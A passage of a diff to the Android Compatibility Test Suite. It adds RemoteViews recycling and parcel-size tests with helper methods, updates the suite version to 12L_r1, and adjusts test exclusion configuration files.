+                .getInstalledApplications(/* flags= */ 0)
+                .stream()
+                .filter(info -> !PACKAGE_NAME.equals(info.packageName))
+                .findFirst()
+                .map(info -> info.packageName);
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java
index ec4c0c7..c1c8892 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java
@@ -28,6 +28,7 @@
 import android.view.ViewGroup;
 import android.widget.FrameLayout;
 import android.widget.RemoteViews;
+import android.widget.TextView;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.annotation.UiThreadTest;
@@ -369,6 +370,54 @@
         recycleWhenViewIdDoesntMatchFailsInMultipleLayout(true /* async */);
     }
 
+    private void recycleWhenViewIdDoesntMatchFailsInSimpleLayout(boolean async) throws Throwable {
+        RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle, 2);
+        applyRemoteViews(rv);
+
+        RemoteViews rv2 = createRemoteViews(R.layout.remoteviews_recycle, 3);
+        try {
+            reapplyRemoteViews(rv2, async);
+        } catch (RuntimeException ex) {
+            return; // success
+        } catch (Throwable t) {
+            fail("Excepted a RuntimeException, received " + t.toString());
+        }
+        fail("Excepted a RuntimeException, no exception received.");
+    }
+
+    @Test
+    public void recycleWhenViewIdDoesntMatchFailsInSimpleLayoutSync() throws Throwable {
+        recycleWhenViewIdDoesntMatchFailsInSimpleLayout(false /* async */);
+    }
+
+    @Test
+    public void recycleWhenViewIdDoesntMatchFailsInSimpleLayoutAsync() throws Throwable {
+        recycleWhenViewIdDoesntMatchFailsInSimpleLayout(true /* async */);
+    }
+
+    private void recycleWhenLayoutIdDoesntMatchSucceedsInSimpleLayout(boolean async)
+            throws Throwable {
+        RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle);
+        applyRemoteViews(rv);
+
+        RemoteViews rv2 = createRemoteViews(R.layout.remoteviews_textview);
+        rv2.setTextViewText(R.id.remoteViews_recycle_static, "New text");
+        reapplyRemoteViews(rv2, async);
+
+        TextView textView = mResult.findViewById(R.id.remoteViews_recycle_static);
+        assertEquals("New text", textView.getText());
+    }
+
+    @Test
+    public void recycleWhenLayoutIdDoesntMatchSucceedsInSimpleLayoutSync() throws Throwable {
+        recycleWhenLayoutIdDoesntMatchSucceedsInSimpleLayout(false);
+    }
+
+    @Test
+    public void recycleWhenLayoutIdDoesntMatchSucceedsInSimpleLayoutAsync() throws Throwable {
+        recycleWhenLayoutIdDoesntMatchSucceedsInSimpleLayout(true);
+    }
+
     private void recycleWhenRemovingFromEndAndInsertInMiddleAtManyLevels(boolean async)
             throws Throwable {
         RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle);
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
index fdbd6b4..0cadd73 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
@@ -55,8 +55,11 @@
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.Parcel;
+import android.os.Parcelable;
 import android.text.TextUtils;
+import android.util.ArrayMap;
 import android.util.DisplayMetrics;
+import android.util.SizeF;
 import android.util.TypedValue;
 import android.view.View;
 import android.view.ViewGroup;
@@ -101,6 +104,7 @@
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.After;
+import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -112,6 +116,10 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+import java.util.function.Function;
 
 /**
  * Test {@link RemoteViews}.
@@ -499,12 +507,9 @@
     public void testWriteToParcel() {
         mRemoteViews.setTextViewText(R.id.remoteView_text, "This is content");
         mRemoteViews.setViewVisibility(R.id.remoteView_frame, View.GONE);
-        Parcel p = Parcel.obtain();
-        mRemoteViews.writeToParcel(p, 0);
-        p.setDataPosition(0);
 
         // the package and layout are successfully written into parcel
-        mRemoteViews = RemoteViews.CREATOR.createFromParcel(p);
+        mRemoteViews = parcelAndUnparcel(mRemoteViews);
         View result = mRemoteViews.apply(mContext, null);
         assertEquals(PACKAGE_NAME, mRemoteViews.getPackage());
         assertEquals(R.layout.remoteviews_good, mRemoteViews.getLayoutId());
@@ -512,12 +517,8 @@
                 .getText().toString());
         assertEquals(View.GONE, result.findViewById(R.id.remoteView_frame).getVisibility());
 
-        p = Parcel.obtain();
-
         // currently the flag is not used
-        mRemoteViews.writeToParcel(p, -1);
-
-        p.recycle();
+        parcelAndUnparcel(mRemoteViews, /* flags= */ -1);
 
         RemoteViews[] remote = RemoteViews.CREATOR.newArray(1);
         assertNotNull(remote);
@@ -529,6 +530,51 @@
         mRemoteViews.writeToParcel(null, 0);
     }
 
+    @Test
+    public void testWriteToParcel_landscapePortrait() {
+        RemoteViews landscape = new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_good);
+        landscape.setTextViewText(R.id.remoteView_text, "Hello world");
+        RemoteViews portrait = new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_good);
+        portrait.setTextViewText(R.id.remoteView_text, "Hello world");
+        int landscapeParcelledSize = getParcelledSize(landscape);
+        mRemoteViews = new RemoteViews(landscape, portrait);
+
+        mRemoteViews = parcelAndUnparcel(mRemoteViews);
+        assertEquals(PACKAGE_NAME, mRemoteViews.getPackage());
+        View result = mRemoteViews.apply(mContext, null);
+        assertEquals("Hello world", ((TextView) result.findViewById(R.id.remoteView_text))
+                .getText().toString());
+
+        // The ApplicationInfo should only have been written once, so this should be much smaller
+        // than twice the size of parcelling one RemoteViews.
+        assertLessThan(landscapeParcelledSize * 2, getParcelledSize(mRemoteViews));
+    }
+
+    @Test
+    public void testWriteToParcel_sizeMap() {
+        List<SizeF> sizes =
+                Arrays.asList(new SizeF(50, 50), new SizeF(100, 100), new SizeF(100, 200));
+        Map<SizeF, RemoteViews> sizeMap = new ArrayMap<>();
+        int singelParcelledSize = 0;
+        for (SizeF size : sizes) {
+            RemoteViews views = new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_good);
+            views.setTextViewText(R.id.remoteView_text, "Hello world");
+            sizeMap.put(size, views);
+            singelParcelledSize = getParcelledSize(views);
+        }
+        mRemoteViews = new RemoteViews(sizeMap);
+
+        mRemoteViews = parcelAndUnparcel(mRemoteViews);
+        assertEquals(PACKAGE_NAME, mRemoteViews.getPackage());
+        View result = mRemoteViews.apply(mContext, null);
+        assertEquals("Hello world", ((TextView) result.findViewById(R.id.remoteView_text))
+                .getText().toString());
+
+        // The ApplicationInfo should only have been written once, so this should be much smaller
+        // than thrice the size of parcelling one RemoteViews.
+        assertLessThan(singelParcelledSize * 3, getParcelledSize(mRemoteViews));
+    }
+
     @Test(expected=NegativeArraySizeException.class)
     public void testCreateNegativeSizedArray() {
         RemoteViews.CREATOR.newArray(-1);
@@ -1940,4 +1986,41 @@
         runShellCommand("cmd uimode night " + (nightMode ? "yes" : "no"));
         return previousMode;
     }
+
+    private static RemoteViews parcelAndUnparcel(RemoteViews views) {
+        return parcelAndUnparcel(views, /* flags= */ 0);
+    }
+
+    /**
+     * Returns the result of writing {@code views} to a {@link Parcel} and then creating a new
+     * {@link RemoteViews} from the parcel.
+     */
+    private static RemoteViews parcelAndUnparcel(RemoteViews views, int flags) {
+        return parcelAndRun(views, flags, RemoteViews.CREATOR::createFromParcel);
+    }
+
+    /** Returns the data size from writing {@code parcelable} to a {@link Parcel}. */
+    private static int getParcelledSize(Parcelable parcelable) {
+        return parcelAndRun(parcelable, /* flags= */ 0, Parcel::dataSize);
+    }
+
+    private static <T> T parcelAndRun(
+            Parcelable parcelable,
+            int flags,
+            Function<Parcel, T> function) {
+        Parcel parcel = Parcel.obtain();
+        parcelable.writeToParcel(parcel, flags);
+        parcel.setDataPosition(0);
+        try {
+            return function.apply(parcel);
+        } finally {
+            parcel.recycle();
+        }
+    }
+
+    private static void assertLessThan(int expected, int actual) {
+        if (actual >= expected) {
+            Assert.fail("Expected to be less than " + expected + ", but was " + actual);
+        }
+    }
 }
diff --git a/tools/cts-tradefed/Android.bp b/tools/cts-tradefed/Android.bp
index c3d97b5..f0b8e3d 100644
--- a/tools/cts-tradefed/Android.bp
+++ b/tools/cts-tradefed/Android.bp
@@ -34,7 +34,7 @@
     wrapper: "etc/cts-tradefed",
     short_name: "CTS",
     full_name: "Compatibility Test Suite",
-    version: "12_r1",
+    version: "12L_r1",
     static_libs: ["cts-tradefed-harness"],
     required: ["compatibility-host-util"],
 }
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index c6b4537..2732496 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -194,9 +194,6 @@
     <option name="compatibility:exclude-filter" value="CtsLocation2TestCases android.location2.cts.LocationManagerTest#testGetCoarseLocationUpdates_withListener" />
     <option name="compatibility:exclude-filter" value="CtsLocation2TestCases android.location2.cts.LocationManagerTest#testGetNetworkProviderLocationUpdates_withListener" />
 
-    <!-- b/116002979 -->
-    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.ListeningPortsTest" />
-
     <!-- b/117107760 -->
     <option name="compatibility:exclude-filter" value="CtsHarmfulAppWarningHostTestCases android.harmfulappwarning.cts.HarmfulAppWarningTest#testDismissDialog" />
     <option name="compatibility:exclude-filter" value="CtsHarmfulAppWarningHostTestCases android.harmfulappwarning.cts.HarmfulAppWarningTest#testLaunchAnyway" />
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index cb192cc..d4f548c 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -92,4 +92,11 @@
 
       <!-- b/199996926 - No UWB stack support in AOSP for Android S -->
     <option name="compatibility:exclude-filter" value="CtsUwbTestCases" />
+
+    <!-- b/183653612: CtsTransitionTestCases -->
+    <option name="compatibility:exclude-filter" value="CtsTransitionTestCases" />
+
+    <!-- b/198226244 -->
+    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.CodecEncoderPerformanceTest#testPerformanceOfHardwareVideoEncoders" />
+
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-validation.xml b/tools/cts-tradefed/res/config/cts-validation.xml
index fa8a666..5c34cb3 100644
--- a/tools/cts-tradefed/res/config/cts-validation.xml
+++ b/tools/cts-tradefed/res/config/cts-validation.xml
@@ -14,8 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Runs a subset of CTS tests using a general kernel image (GKI)">
-    <option name="plan" value="cts-validation" />
     <option name="result-attribute" key="GKI" value="1" />
     <include name="cts-on-gsi" />
     <include name="cts-validation-exclude" />
+    <option name="plan" value="cts-validation" />
 </configuration>